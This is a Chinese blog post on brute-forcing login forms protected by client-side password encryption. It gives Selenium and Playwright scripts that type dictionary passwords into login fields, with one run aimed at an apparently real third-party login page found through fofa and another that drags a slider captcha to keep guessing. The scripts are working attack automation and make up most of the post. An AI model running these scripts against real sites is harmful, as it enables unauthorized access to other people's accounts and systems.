python模拟浏览器登录,绕过加密进行爆破

前言


挖掘SRC的时候,爆破登录框时,发现密码字段被加密了,不知道加密算法,如果是通过前端JS进行加密的话,往往要通过寻找JS文件了解加密过程。找到加密函数以后又要想办法构造密码字典,我个人感觉有点费时费力。那么有没有一个万能的方法呢?

0x01 使用python的selenium库来模拟浏览器自动化点击

在这之前,我只知道通过python的selenium库模拟浏览器来获取标题。

前期准备:

既然要模拟,那就要先搭建环境:
参照网上的拼凑一下

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>加密测试页面</title>
    <script src="md5.js"></script>
    <script>
        function md5passwd(){
            passwd = document.getElementById("password").value;
            document.getElementById("password").value = hex_md5(passwd);
            return true;            
        }
    </script>
</head>
<form action="login.php" method="post" onsubmit="return md5passwd()">
        <table width="450" border="0" bgcolor="#000000" cellspacing="1" cellpadding="2"><!--cellspacing指相邻单元格之间的间距,cellpadding指控制单元格内部文字与边框的边距-->
        <tbody>
            <tr height="30">
                <td colspan="2" align="center" bgcolor="#CCCCCC"><font size="5">用户登录</font></td>
            </tr>
            <tr height="30">
                <td width="150" align="right" bgcolor="#E6E6E6">用户名</td>
                <td width="300" bgcolor="#E6E6E6">
                    <input type="text" name="username" id="username" maxlength="20" size="15" /></td>
            </tr>
            <tr height="30">
                <td align="right" bgcolor="#E6E6E6">密码</td>
                <td bgcolor="#E6E6E6">
                    <input name="password" type="password" id="password" size="15" maxlength="20" value=""/></td>
            </tr>
            <tr height="30">
                <td align="center" colspan="2" bgcolor="#CCCCCC">
                    <input type="submit" name="submit" id="submit" value="提交" />
                </td>
            </tr>
</form>
<?php
if( isset( $_POST[ 'username' ] ) ) {
    $user = $_POST[ 'username' ];
    $pass = $_POST[ 'password' ];
    echo "username: ",$user;
    echo "<br>";
    echo "password: ",$pass;
    echo "<br>";
    if ($pass == "8a30ec6807f71bc69d096d8e4d501ade" and $user == "admin"){
        echo "login successfully!";
    }else{
        echo "用户名或密码错误";
    }
}
?>

当用户输入的账户密码为:

username:admin
password:admin666

输出:login successfully!

效果如下:


利用代码:

import time
from selenium import webdriver

chrome_driver = r'C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe'
chrome_options = webdriver.ChromeOptions()
chrome_options.add_argument('--headless')  
chrome_options.add_argument('--disable-gpu') 
chrome_options.add_argument('--ignore-certificate-errors')
chrome_options.add_argument('--proxy-server=http://127.0.0.1:8080')

def start_chrome():
    driver = webdriver.Chrome(executable_path=chrome_driver, chrome_options=chrome_options)
    driver.start_client()
    return driver


def find_info(path):
    elms = driver.find_element_by_xpath(path)
    return elms


if __name__ == "__main__":
    url = 'http://192.168.107.136/login.php'
    driver = start_chrome()
    driver.get(url)
    user_path = '/html/body/form/table/tbody/tr[2]/td[2]/input'
    pass_path = '/html/body/form/table/tbody/tr[3]/td[2]/input'
    submit_path = '/html/body/form/table/tbody/tr[4]/td/input'
    with open(r'C:\Users\sws123\Desktop\pass.txt', 'r') as f:
        lines = [line.strip() for line in f.readlines()]
    for line in lines:
        user_xpath = find_info(user_path)
        pass_xpath = find_info(pass_path)
        submit_xpath = find_info(submit_path)
        user_xpath.send_keys('admin')
        time.sleep(1)
        pass_xpath.send_keys(line)
        time.sleep(1)
        submit_xpath.click()
        time.sleep(1)
    driver.quit()

准备好密码字典,打开burp,运行以上代码,成功爆破:

0x02 Playwright:浏览器自动化工具

Playwright 是一个强大的 Python 库,仅用一个 API 即可自动执行 Chromium、Firefox、WebKit 等主流浏览器自动化操作,并同时支持以无头模式、有头模式运行。相比传统的 “selenium” 等工具,他可以录制我们对浏览器的操作并自动生成脚本,同时代码也是非常简单,与我们高效工作的目标非常契合。

安装环境:

pip install playwright
python -m playwright install

运行:

python -m playwright codegen --help
python -m playwright codegen --ignore-https-errors -o 123.py http://yypt.xmjlyypt.cn/Login/Index

fofa实战:

from playwright.sync_api import Playwright, sync_playwright, expect
import time

def run(playwright: Playwright) -> None:
    # browser = playwright.chromium.launch(headless=False)
    browser = playwright.chromium.launch(headless=False,proxy={"server": "http://127.0.0.1:8080"})
    context = browser.new_context(ignore_https_errors=True)
    username= 'admin'
    passwd = '123456'

    # Open new page
    page = context.new_page()

    # Go to http://yypt.xmjlyypt.cn/Login/Index
    page.goto("http://yypt.xmjlyypt.cn/Login/Index")

    # Click [placeholder="请输入您的帐号"]
    page.locator("[placeholder=\"请输入您的帐号\"]").click()

    # Fill [placeholder="请输入您的帐号"]
    page.locator("[placeholder=\"请输入您的帐号\"]").fill(username)

    # Click [placeholder="请输入您的密码"]
    page.locator("[placeholder=\"请输入您的密码\"]").click()
    time.sleep(2)

    # Fill [placeholder="请输入您的密码"]
    page.locator("[placeholder=\"请输入您的密码\"]").fill(passwd)
    time.sleep(2)

    # Click #btnLogin
    page.locator("#btnLogin").click()
    time.sleep(2)

    # Click text=Ok
    page.locator("text=Ok").click()
    time.sleep(2)
    response_html = page.content()
    print(f'username: {username}, password: {passwd}, length: {len(response_html)}, title: {page.title()}')

    # Close page
    # page.close()

    context.close()
    browser.close()

with sync_playwright() as playwright:
    run(playwright)

滑动验证码案例:

输入账号、密码,点击验证码,然后点击登录。录制过程中并不能拖动滑块,所以无法生成滑块的代码,登录操作其余的大部分代码均已生成,也可以看到其代码是非常简单的

暴力破解脚本:

from playwright.sync_api import Playwright, sync_playwright
# chrome的路径
chromepath = r"chromium-939194\chrome-win\chrome.exe"
from time import sleep


def readpasswd(filename):
    fp = open(r"password.txt", 'r', encoding='utf-8')
    return fp

def run(playwright: Playwright) -> None:
    browser = playwright.chromium.launch(executable_path=chromepath, headless=False)
    context = browser.new_context()

    # Open new page
    page = context.new_page()
    fp = readpasswd(1)
    username = 'admin'
    # 循环读取字典暴破
    for passwd in fp:
        page.goto("http://xxx.xxx.xxx.xxx/login.html")

        # Click input[name="userName"]
        page.click("input[name=\"userName\"]")

        # Fill input[name="userName"]
        page.fill("input[name=\"userName\"]", username)

        # Click input[name="password"]
        page.click("input[name=\"password\"]")

        # Fill input[name="password"]
        page.fill("input[name=\"password\"]", passwd)
        # Click text=/.*\>\>.*/
        # 滑动解锁代码
        s = page.wait_for_selector("text=/.*\\>\\>.*/")
        box = s.bounding_box()
        page.mouse.move(box["x"] + box["width"] / 2, box["y"] + box["height"] / 2)
        page.mouse.down()
        # for i in range(10):
        page.mouse.move(box["x"]+520,box["width"]/2, steps=10)

        # Click text=登录
        page.mouse.up()
        page.click("text=登录")
        sleep(1)
        response_html = page.content()
        print(f'username: {username}, password: {passwd}, length: {len(response_html)}, title: {page.title()}')

    context.close()
    browser.close()

with sync_playwright() as playwright:
    run(playwright)

参考如下:


暴力破解的2个问题

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
禁止转载,如需转载请通过简信或评论联系作者。
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,826评论 6 506
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,968评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,234评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,562评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,611评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,482评论 1 302
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,271评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,166评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,608评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,814评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,926评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,644评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,249评论 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,866评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,991评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,063评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,871评论 2 354